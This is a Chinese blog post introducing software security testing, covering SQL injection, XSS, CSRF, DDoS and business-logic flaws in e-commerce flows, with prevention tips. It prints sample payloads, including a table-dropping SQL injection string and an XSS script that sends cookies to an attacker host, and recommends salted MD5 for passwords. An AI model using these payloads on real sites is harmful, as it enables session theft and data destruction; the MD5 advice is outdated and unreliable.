系統(tǒng)安全測(cè)試要怎么做,詳細(xì)來(lái)說(shuō)說(shuō)!

一、開(kāi)場(chǎng)白

我剛開(kāi)始接觸安全測(cè)試的時(shí)候,想的最多就是那種在昏暗的燈光下,帶著神秘面具的黑客,對(duì)著鍵盤(pán)噼里啪啦一頓猛如虎的操作,然后長(zhǎng)舒一口氣,最后來(lái)了句yes,完美收工!

隨后的職業(yè)生涯中,在同行的帶領(lǐng)下開(kāi)始了第一次安全測(cè)試之旅。當(dāng)時(shí)大致的過(guò)程如下,選擇一款安全掃描工具(Appscan),配置好要掃描的網(wǎng)站地址、登錄信息等。

點(diǎn)擊開(kāi)始掃描:two thousands years later,Appscan生成了一份非常詳細(xì)的安全測(cè)試報(bào)告,然后我們對(duì)這份詳細(xì)的報(bào)告里面的安全問(wèn)題進(jìn)行了一一驗(yàn)證,最后再提交給開(kāi)發(fā)進(jìn)行修復(fù)。

經(jīng)歷了這次實(shí)戰(zhàn)之后,讓我覺(jué)得安全測(cè)試只不過(guò)如此嘛,隨著個(gè)人工作經(jīng)驗(yàn)的不斷積累,我對(duì)于安全測(cè)試的理解也越來(lái)越深刻,因此記錄個(gè)人對(duì)于安全測(cè)試的理解。

對(duì)于軟件安全測(cè)試,本次主要分享以下幾類(lèi)安全問(wèn)題:

第一類(lèi):軟件系統(tǒng)的賬戶(hù)及數(shù)據(jù)安全;

第二類(lèi):常見(jiàn)的Web攻擊及防御手段;

第三類(lèi):業(yè)務(wù)系統(tǒng)測(cè)試可能存在的安全。

以下內(nèi)容限于個(gè)人水平有限,如有敘述不當(dāng),還請(qǐng)海涵。

二、軟件系統(tǒng)的帳號(hào)及數(shù)據(jù)安全

可以說(shuō)大部分的公司,對(duì)于我們核心系統(tǒng)的賬戶(hù)/密碼的保護(hù)幾乎為零,任何一個(gè)員工的任何一個(gè)理由就能輕易的拿到管理后臺(tái)的賬戶(hù)和密碼,并且對(duì)于這個(gè)賬戶(hù)的密碼幾乎也不做任何的定期修改。

還有的公司直接將客戶(hù)的用戶(hù)名和密碼打印在日志里面,對(duì)于這類(lèi)情況,其最大的問(wèn)題在于公司缺少對(duì)于這塊的風(fēng)險(xiǎn)意識(shí)和完善的安全機(jī)制,總會(huì)覺(jué)得一切沒(méi)有那么巧合,或許到這你才恍然發(fā)現(xiàn),為什么我們的信息會(huì)被泄露。



新聞媒體經(jīng)常報(bào)道,某某因販賣(mài)用戶(hù)資料被逮捕,但是沒(méi)抓到的又有多少呢?之前我在的一家公司,一小伙為了利益,將公司500G的客戶(hù)資料賣(mài)給了競(jìng)爭(zhēng)對(duì)手,被當(dāng)場(chǎng)抓住,之所以能抓住,一切得力于公司健全的安全機(jī)制,對(duì)于軟件系統(tǒng)而言,客戶(hù)的信息至關(guān)重要,切莫讓悲劇發(fā)生!

三、常見(jiàn)的Web攻擊及防御手段

在互聯(lián)網(wǎng)開(kāi)始興起之初,存在各式各樣的Web安全問(wèn)題,不過(guò)現(xiàn)在隨著各種框架的不斷誕生,對(duì)于此類(lèi)的安全問(wèn)題都做得比較好了,同時(shí)也有很多掃描工具可以完成安全掃描,所以這塊對(duì)于我們來(lái)說(shuō)不需要投入太多的精力。

但是,從學(xué)習(xí)的角度來(lái)說(shuō),了解一下常見(jiàn)的web攻擊及防御手段也是有必要的。

1、SQL注入

概念

通過(guò)sql命令偽裝成正常的http請(qǐng)求參數(shù),傳遞到服務(wù)器端,服務(wù)器執(zhí)行sql命令造成對(duì)數(shù)據(jù)庫(kù)進(jìn)行攻擊。



案例

' or '1'= '1。這是最常見(jiàn)的sql注入攻擊,當(dāng)我們輸入用戶(hù)名admin,然后密碼輸入'or '1'= '1的時(shí)候,我們?cè)诓樵?xún)用戶(hù)名和密碼是否正確的時(shí)候,本來(lái)要執(zhí)行的是select * from user where username=user and password=pwd,經(jīng)過(guò)參數(shù)拼接后,會(huì)執(zhí)行sql語(yǔ)句 select * from user where username='admin' and password=' ' or ' 1'='1 ',這個(gè)時(shí)候1=1是成立,自然就跳過(guò)驗(yàn)證了。

但是如果再?lài)?yán)重一點(diǎn),密碼輸入的是';drop table user;--,那么sql命令為select * from user where username='admin' and password='';drop table user;--' 這個(gè)時(shí)候我們就直接把這個(gè)表給刪除了。

被攻擊的原因

sql語(yǔ)句偽造參數(shù),然后在對(duì)參數(shù)進(jìn)行拼接的后形成破壞性的sql語(yǔ)句,最后導(dǎo)致數(shù)據(jù)庫(kù)受到攻擊。

預(yù)防

在Java中,我們可以使用預(yù)編譯語(yǔ)句(PreparedStatement),這樣的話即使我們使用sql語(yǔ)句偽造成參數(shù),到了服務(wù)端的時(shí)候,這個(gè)偽造sql語(yǔ)句的參數(shù)也只是簡(jiǎn)單的字符,并不能起到攻擊的作用。

很多orm框架已經(jīng)可以對(duì)參數(shù)進(jìn)行轉(zhuǎn)義。

做最壞的打算,即使被’拖庫(kù)‘。數(shù)據(jù)庫(kù)中密碼不應(yīng)明文存儲(chǔ)的,可以對(duì)密碼使用md5進(jìn)行加密,為了加大破解成本,所以可以采用加鹽的(數(shù)據(jù)庫(kù)存儲(chǔ)用戶(hù)名,鹽(隨機(jī)字符長(zhǎng)),md5后的密文)方式。

2、XSS(跨站腳本攻擊)

概念

全稱(chēng)是跨站腳本攻擊(Cross Site Scripting),指攻擊者在網(wǎng)頁(yè)中嵌入惡意腳本程序。



案例

比如說(shuō)我寫(xiě)了一個(gè)博客網(wǎng)站,然后攻擊者在上面發(fā)布了一個(gè)文章,內(nèi)容是這樣的:

<script>window.open(“www.gongji.com?param=”+document.cookie)</script>
(左右滑動(dòng)查看完整代碼)

如果我沒(méi)有對(duì)他的內(nèi)容進(jìn)行處理,直接存儲(chǔ)到數(shù)據(jù)庫(kù),那么下一次當(dāng)其他用戶(hù)訪問(wèn)他的這篇文章的時(shí)候,服務(wù)器從數(shù)據(jù)庫(kù)讀取后然后響應(yīng)給客戶(hù)端,瀏覽器執(zhí)行了這段腳本,然后就把該用戶(hù)的cookie發(fā)送到攻擊者的服務(wù)器了。

被攻擊的原因

用戶(hù)輸入的數(shù)據(jù)變成了代碼,比如說(shuō)上面的< 轉(zhuǎn)義成<。

3、跨站請(qǐng)求偽造(CSRF)

概念

全稱(chēng)是跨站請(qǐng)求偽造(cross site request forgery),指通過(guò)偽裝成受信任用戶(hù)的進(jìn)行訪問(wèn)。

通俗的講就是說(shuō)我訪問(wèn)了A網(wǎng)站,然后cookie存在了瀏覽器,然后我又訪問(wèn)了一個(gè)流氓網(wǎng)站,不小心點(diǎn)了流氓網(wǎng)站一個(gè)鏈接(向A發(fā)送請(qǐng)求),這個(gè)時(shí)候流氓網(wǎng)站利用了我的身份對(duì)A進(jìn)行了訪問(wèn)。



案例

比如說(shuō)我登錄了A銀行網(wǎng)站,然后我又訪問(wèn)了室友給的一個(gè)流氓網(wǎng)站,然后點(diǎn)了里面的一個(gè)鏈接 www.A.com/transfer?account=666&money=10000,那么這個(gè)時(shí)候很可能我就向賬號(hào)為666的人轉(zhuǎn)了1wRMB。






注意這個(gè)攻擊方式不一定是我點(diǎn)了這個(gè)鏈接,也可以是這個(gè)網(wǎng)站里面一些資源請(qǐng)求指向了這個(gè)轉(zhuǎn)賬鏈接,比如說(shuō)一個(gè)圖片。

被攻擊的原因

用戶(hù)本地存儲(chǔ)cookie,攻擊者利用用戶(hù)的cookie進(jìn)行認(rèn)證,然后偽造用戶(hù)發(fā)出請(qǐng)求。

預(yù)防

之所以被攻擊是因?yàn)楣粽呃昧舜鎯?chǔ)在瀏覽器用于用戶(hù)認(rèn)證的cookie,那么如果我們不用cookie來(lái)驗(yàn)證不就可以預(yù)防了。所以我們可以采用token(不存儲(chǔ)于瀏覽器)認(rèn)證。

通過(guò)referer識(shí)別,HTTP Referer是header的一部分,當(dāng)瀏覽器向web服務(wù)器發(fā)送請(qǐng)求的時(shí)候,一般會(huì)帶上Referer,告訴服務(wù)器我是從哪個(gè)頁(yè)面鏈接過(guò)來(lái)的,服務(wù)器因此可以獲得一些信息用于處理。

那么這樣的話,我們必須登錄銀行A網(wǎng)站才能進(jìn)行轉(zhuǎn)賬了。

4、DDOS攻擊

概念

分布式拒絕服務(wù)攻擊(Distributed Denial of Service),簡(jiǎn)單說(shuō)就是發(fā)送大量請(qǐng)求使服務(wù)器癱瘓。

DDOS攻擊是在DOS攻擊基礎(chǔ)上的??梢酝ㄋ桌斫?,DOS是單挑,而DDOS是群毆,因?yàn)楝F(xiàn)代技術(shù)的發(fā)展,DOS攻擊的殺傷力降低,所以出現(xiàn)了DDOS,攻擊者借助公共網(wǎng)絡(luò),將大數(shù)量的計(jì)算機(jī)設(shè)備聯(lián)合起來(lái),向一個(gè)或多個(gè)目標(biāo)進(jìn)行攻擊。



案例

SYN Flood,簡(jiǎn)單說(shuō)一下tcp三次握手,客戶(hù)端向服務(wù)器發(fā)出請(qǐng)求,請(qǐng)求建立連接,然后服務(wù)器返回一個(gè)報(bào)文,表明請(qǐng)求被接受,然后客戶(hù)端也會(huì)返回一個(gè)報(bào)文,最后建立連接。

那么如果有這么一種情況,攻擊者偽造ip地址,發(fā)出報(bào)文給服務(wù)器請(qǐng)求連接,這個(gè)時(shí)候服務(wù)器接收到了,根據(jù)tcp三次握手的規(guī)則,服務(wù)器也要回應(yīng)一個(gè)報(bào)文,可是這個(gè)ip是偽造的,報(bào)文回應(yīng)給誰(shuí)呢,第二次握手出現(xiàn)錯(cuò)誤,第三次自然也就不能順利進(jìn)行了,這個(gè)時(shí)候服務(wù)器收不到第三次握手時(shí)客戶(hù)端發(fā)出的報(bào)文,又再重復(fù)第二次握手的操作。

如果攻擊者偽造了大量的ip地址并發(fā)出請(qǐng)求,這個(gè)時(shí)候服務(wù)器將維護(hù)一個(gè)非常大的半連接等待列表,占用了大量的資源,最后服務(wù)器癱瘓。

CC攻擊,在應(yīng)用層http協(xié)議上發(fā)起攻擊,模擬正常用戶(hù)發(fā)送大量請(qǐng)求直到該網(wǎng)站拒絕服務(wù)為止。

被攻擊的原因

服務(wù)器帶寬不足,不能擋住攻擊者的攻擊流量。

預(yù)防

最直接的方法增加帶寬。但是攻擊者用各地的電腦進(jìn)行攻擊,他的帶寬不會(huì)耗費(fèi)很多錢(qián),但對(duì)于服務(wù)器來(lái)說(shuō),帶寬非常昂貴。

云服務(wù)提供商有自己的一套完整DDoS解決方案,并且能提供豐富的帶寬資源

四、業(yè)務(wù)系統(tǒng)測(cè)試可能存在的安全問(wèn)題

我們先來(lái)看一個(gè)比較通用的電商流程圖,從這個(gè)流程圖中,我們?nèi)シ治隹赡鼙缓雎缘陌踩珕?wèn)題。



1、注冊(cè)、登錄

注冊(cè)登錄功能,常見(jiàn)的業(yè)務(wù)安全漏洞:暴力破解、短信驗(yàn)證碼回傳、短信轟炸、惡意短信發(fā)送,縱向越權(quán)登錄。

2、用戶(hù)數(shù)據(jù)

用戶(hù)數(shù)據(jù)功能,常見(jiàn)的業(yè)務(wù)安全漏洞:通過(guò)訂單號(hào)或id直接查詢(xún)數(shù)據(jù)詳情,不做用戶(hù)關(guān)聯(lián)校驗(yàn)。

3、數(shù)據(jù)查詢(xún)

數(shù)據(jù)查詢(xún)功能,常見(jiàn)的業(yè)務(wù)安全漏洞:惡意爬取數(shù)據(jù),該模塊一般不會(huì)存在太多安全問(wèn)題,但需要將之后的下單功能進(jìn)行觀察,即,在進(jìn)行查詢(xún)開(kāi)關(guān)的控制時(shí),下單接口也必須要進(jìn)行控制。

4、下單

下單功能,常見(jiàn)的業(yè)務(wù)漏洞:不支持的權(quán)限使用(使用不支持的紅包進(jìn)行下單)及開(kāi)關(guān)未驗(yàn)證,庫(kù)存或臨界值被擊穿(并發(fā)測(cè)試),優(yōu)惠券,積分被擊穿,訂單信息被篡改(基礎(chǔ)信息、價(jià)格等),惡意占庫(kù)存。

5、取消下單

取消訂單功能,常見(jiàn)的業(yè)務(wù)漏洞:并發(fā)測(cè)試取消庫(kù)存。

6、支付

支付功能,常見(jiàn)的業(yè)務(wù)漏洞:支付金額篡改,付款前取消訂單,先付款再更新訂單金額。

7、訂單完成

訂單完成功能:常見(jiàn)的業(yè)務(wù)漏洞,積分、優(yōu)惠券未送到本訂單的用戶(hù)。

8、退貨

退貨功能:并發(fā)退貨,庫(kù)存返回正確,扣減的,積分或優(yōu)惠券余額不足。

9、用戶(hù)輸入

用戶(hù)輸入可能涉及到j(luò)s注入,敏感信息,生成大量垃圾數(shù)據(jù)。

五、常用防御手段

1、增加安全處理策略;

2、數(shù)據(jù)脫敏:加簽、加密;

3、IP黑白名單;

4、引入安全測(cè)試。

原文鏈接:https://www.cnblogs.com/win0211/p/15555518.html


作者:Python測(cè)試社區(qū)


歡迎關(guān)注微信公眾號(hào) :Python測(cè)試社區(qū)